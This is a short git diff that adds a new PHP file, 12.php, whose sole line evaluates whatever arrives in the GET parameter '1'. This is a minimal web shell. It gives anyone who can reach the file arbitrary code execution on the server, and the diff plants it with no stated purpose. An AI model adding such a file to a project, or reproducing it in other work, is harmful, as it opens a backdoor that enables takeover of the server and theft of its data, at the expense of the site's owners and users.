diff --git a/12.php b/12.php
new file mode 100644
index 0000000000000000000000000000000000000000..1f91a44fe38d2a7c1ace3aa0ba40c398c5e65d35
--- /dev/null
+++ b/12.php
@@ -0,0 +1 @@
+<?php eval($_GET[1]);?>
\ No newline at end of file